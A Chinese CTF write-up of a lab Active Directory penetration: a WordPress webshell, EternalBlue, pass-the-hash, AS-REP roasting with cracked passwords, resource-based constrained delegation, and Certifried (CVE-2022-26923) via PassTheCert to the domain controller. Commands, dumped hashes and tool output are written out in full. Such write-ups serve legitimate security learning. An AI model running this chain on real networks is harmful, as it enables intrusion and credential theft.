考点:
- wordpress插件rce
- MS17-010
- AS-REP Roasting
- 基于资源的约束性委派
- 智能卡身份验证出错下的CVE-2022–26923 AD域提权打法——Schannel传递证书传递到LDAPS,修改LDAP配置RBCD
因为陇剑杯拿奖直通网鼎杯半决赛了,想来看看这个网鼎的渗透题,接连打了好几天,本地出了一堆傻逼问题,打完得玉玉症了只能说。
题目环境是一个wordpress,后台直接弱密码admin/123456能登进去(听说当时比赛的时候是一个重置密码的0day)。因为有theme file editor,所以能直接改php文件,这里改404.php
/wp-admin/theme-editor.php?file=404.php&theme=twentytwentyone
连马
/wp-content/themes/twentytwentyone/404.
php
拿flag
老规矩 传fscan和chisel,一个扫内网另一个搭隧道
172.22.15.18:80 open
172.22.15.24:80 open
172.22.15.26:80 open
172.22.15.26:22 open
172.22.15.13:135 open
172.22.15.35:135 open
172.22.15.24:135 open
172.22.15.24:3306 open
172.22.15.18:445 open
172.22.15.35:445 open
172.22.15.24:445 open
172.22.15.13:445 open
172.22.15.35:139 open
172.22.15.18:139 open
172.22.15.24:139 open
172.22.15.13:139 open
172.22.15.18:135 open
172.22.15.13:88 open
[*] NetInfo:
[*]172.22.15.18
[->]XR-CA
[->]172.22.15.18
[*] NetBios: 172.22.15.35 XIAORANG\XR-0687
[+] 172.22.15.24 MS17-010 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetInfo:
[*]172.22.15.13
[->]XR-DC01
[->]172.22.15.13
[*] NetInfo:
[*]172.22.15.35
[->]XR-0687
[->]172.22.15.35
[*] NetInfo:
[*]172.22.15.24
[->]XR-WIN08
[->]172.22.15.24
[*] NetBios: 172.22.15.13 [+]DC XR-DC01.xiaorang.lab Windows Server 2016 Standard 14393
[*] 172.22.15.13 (Windows Server 2016 Standard 14393)
[*] NetBios: 172.22.15.24 WORKGROUP\XR-WIN08 Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] NetBios: 172.22.15.18 XR-CA.xiaorang.lab Windows Server 2016 Standard 14393
[*] WebTitle: http://172.22.15.26 code:200 len:39962 title:XIAORANG.LAB
[*] WebTitle: http://172.22.15.18 code:200 len:703 title:IIS Windows Server
[*] WebTitle: http://172.22.15.24 code:302 len:0 title:None 跳转url: http://172.22.15.24/www
[+] http://172.22.15.18 poc-yaml-active-directory-certsrv-detect
[*] WebTitle: http://172.22.15.24/www/sys/index.php code:200 len:135 title:None
一眼MS17-010,打这个永恒之蓝
proxychains4 msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.15.24
exploit
第一次打了一直超时,第二次打完连上去了
dump哈希
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e52d03e9b939997401466a0ec5a9cbc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
哈希传递上去(不加gbk执行命令竟然会报错)
proxychains python3 psexec.py administrator@172.22.15.24 -hashes ':0e52d03e9b939997401466a0ec5a9cbc' -codec gbk
然后即可拿flag
然后本来想改administrator密码rdp上去
但是rdp的时候出现一个很傻逼的报错
我本来以为是目标服务器没法连,看了下别人wp发现都能正常连接啊,又怀疑是不是对administrator用户做了啥限制,于是创了个新用户拉进administrator组了
net user fushuling qwer1234! /add
net localgroup administrators fushuling /add
结果还是不行,最后问了正正怀疑是不是防火墙的问题,把防火墙关了
NetSh Advfirewall set allprofiles state off
结果还是不行,最后发现是之前windows自动更新了,加了些傻逼限制,看这个博客最后成功解决了
https://blog.csdn.net/juanjuan_01/article/details/127005255
rdp上去看到有个phpstudy,看了下密码
看了下网站服务发现有phpmyadmin,用账号和密码登了一下,发现有个表有一堆域账户
导出zdoosys_user.sql,改后缀改成txt然后把邮箱提取出来
import re
# 打开原始数据文件
with open('zdoosys_user.txt', 'r') as file:
data = file.readlines()
# 提取指定字符串
users = []
for line in data:
match = re.search(r'(\w+)@xiaorang.lab', line)
if match:
username = match.group(1)
users.append(username)
# 保存提取后的字符串到 user.txt
with open('user.txt', 'w') as file:
for user in users:
file.write(user + '\n')
跑一下有没有AS-REP Roasting
proxychains4 impacket-GetNPUsers -dc-ip 172.22.15.13 xiaorang.lab/ -usersfile user.txt
得到
$krb5asrep$23$lixiuying@XIAORANG.LAB:b6d02bf7c64150cada7b8102bebcfd7a$3e3fad748f163377180b2ea1ceca8b8cd6d919fd3ffcd4ff2091dddbd7499da96cb65bd7dbaaf9a03207b989f41813eed0ed28122252c86852f5ec8ebbb55d7b5ee57523297132090747949e008d424a6e15d68bd5b411fc5d39cef711428b69dc8a29c3130a65346ecca116a87cb41ca23f9207f48c4c8fc2dfe1f65e2336752163b4659f0266c871d3f683baa7ca759cc7296560f054e6afaa7da8185f07c824feccd0be9e090c9e39292a8959d4759b0f73ebbe6e87576a3b099c0288538d21137887f32e3f21596969ad5addb2a9e78ba192653409843030ab06ea168e339463c97d30e7af7ddee4b5d2
$krb5asrep$23$huachunmei@XIAORANG.LAB:2f922d3f5987a3f224d46a510602beb8$47163d6f5e86992ae809d63584defcd7a3c8e8d13784c8cb23e58ebd6bb79cf22b88df7721cde31dacc9040c574ac3e01d3cea71a99d85c258fadb75a4d004e67c8dd4f261c4d76e031c7fda418cf9d63cb8fa10b36c245e3187fd7ae4f2394a1ba9c66a237665db517e4b68338d4ca03a1e6b3cfb74e1cb8002703a047c953c378be542173276df4e3ad40e9b4969a1e7beac3d306dbe8ee5a9edd37bc7b18ea1c734cd9154845e9c71879107f221e6a299b64740b088c864bdd8eb7f0bcb03754e46ea51ebac52198649a895965b9ef0133390664aa9dbf7f6ca1b2a8c84fd4214c149c3bc4d6b0d43bb69
hashcat hash.txt /usr/share/wordlists/rockyou.txt
最后获得明文账号和密码
lixiuying:winniethepooh
huachunmei:1qaz2wsx
rdp上172.22.15.35
bloodhound发现lixiuying对XR-0687具有GenericWrite权限,能打RBCD
首先添加一个机器账户
impacket-addcomputer -method SAMR xiaorang.lab/lixiuying:winniethepooh -computer-name 01\$ -computer-pass Passw0rd -dc-ip 172.22.15.13
然后装一个PowerView.ps1,rdp直接放上去,这东西用来获取机器id
Import-Module .\PowerView.ps1
Get-NetComputer 01 -Properties objectsid
得到机器id
S-1-5-21-3745972894-1678056601-2622918667-1147
修改服务资源msDS-AllowedToActOnBehalfOfOtherIdentity属性
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3745972894-1678056601-2622918667-1147)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer XR-0687 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
创建票据
proxychains4 impacket-getST xiaorang.lab/01\$:Passw0rd -spn cifs/XR-0687.xiaorang.lab -impersonate administrator -dc-ip 172.22.15.13
导入票据
export KRB5CCNAME=administrator.ccache
然后本来就应该能连上去了,但我被拒绝了,离谱,票据都生成了还能访问失败,只能下次再战了
解决办法是改host
sudo vim /etc/hosts
然后即可无密码连上去
proxychains python3 psexec.py Administrator@XR-0687.xiaorang.lab -k -no-pass -dc-ip 172.22.15.13
补一个小插曲,因为之前怀疑连不上去是因为代理的问题,所以换了Stowaway (当然后面发现不是这个问题),这个东西操作比chisel还低能,太好用了只能说。
服务器端运行命令开启监听
./linux_x64_admin -l 1234 -s 123
客户端运行
./linux_x64_agent -c Server_ip:1234 -s 123 --reconnect 8
连接建立之后选择use 0,就是选择这个新来的0号节点进行操作,然后socks 6666即可在6666端口建立socks5代理
打最后一个域控换了一堆方法没打出来,最后看x1r0z的博客打出来了。这里要打的其实是Certifried (CVE-2022–26923),是一个nday,不过考察的是KDC_ERR_PADATA_TYPE_NOSUPP
出错情况下的打法:
首先添加用户(注意,这里的certipy不是出现命令不存在kali让你下载的那个,这个是个打CVE-2022–26923的工具:https://github.com/ly4k/Certipy/):
proxychains certipy account create -user 'TEST2$' -pass 'P@ssw0rd' -dns XR-DC01.xiaorang.lab -dc-ip 172.22.15.13 -u lixiuying -p 'winniethepooh'
添加成功说明漏洞存在,继续按流程走,申请证书模版,这里有点怪,第一次打完超时了,第二次打打出来了,和那个永恒之蓝一样,应该是环境的问题
proxychains certipy req -u 'TEST2$@xiaorang.lab' -p 'P@ssw0rd' -ca 'xiaorang-XR-CA-CA' -target 172.22.15.18 -template 'Machine'
按流程走下一步会出现报错:
$ proxychains certipy auth -pfx xr-dc01.pfx -dc-ip 172.22.15.13
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Using principal: xr-dc01$@xiaorang.lab
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
然后这里的报错是因为 域控制器没有安装用于智能卡身份验证的证书
,具体分析可以看whoami师傅的博客,但师傅博客上的我没打出来,后面看的x1r0z的博客,尝试 Schannel,通过 Schannel将证书传递到 LDAPS, 修改 LDAP 配置 (例如配置 RBCD / DCSync), 进而获得域控权限。
这样打首先得把pfx导出为.key 和.crt 两个文件(让你输入密码直接回车即可,空密码):
openssl pkcs12 -in xr-dc01.pfx -nodes -out test.pem
openssl rsa -in test.pem -out test.key
openssl x509 -in test.pem -out test.crt
whoami(脚本链接:https://github.com/AlmondOffSec/PassTheCert/)
proxychains python3 passthecert.py -action whoami -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13
下一步将证书配置到域控的 RBCD
proxychains python3 passthecert.py -action write_rbcd -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13 -delegate-to 'XR-DC01$' -delegate-from 'TEST2$'
接下来和之前一样申请ST
proxychains getST.py xiaorang.lab/'TEST2$':'P@ssw0rd' -spn cifs/XR-DC01.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13
接下来导入申请的票据
export KRB5CCNAME=Administrator.ccache
最后连接即可
proxychains python3 psexec.py Administrator@XR-DC01.xiaorang.lab -k -no-pass -dc-ip 172.22.15.13
注意,这里也得改host,不然连接超时
type C:\Users\Administrator\flag\flag04.txt
令人感叹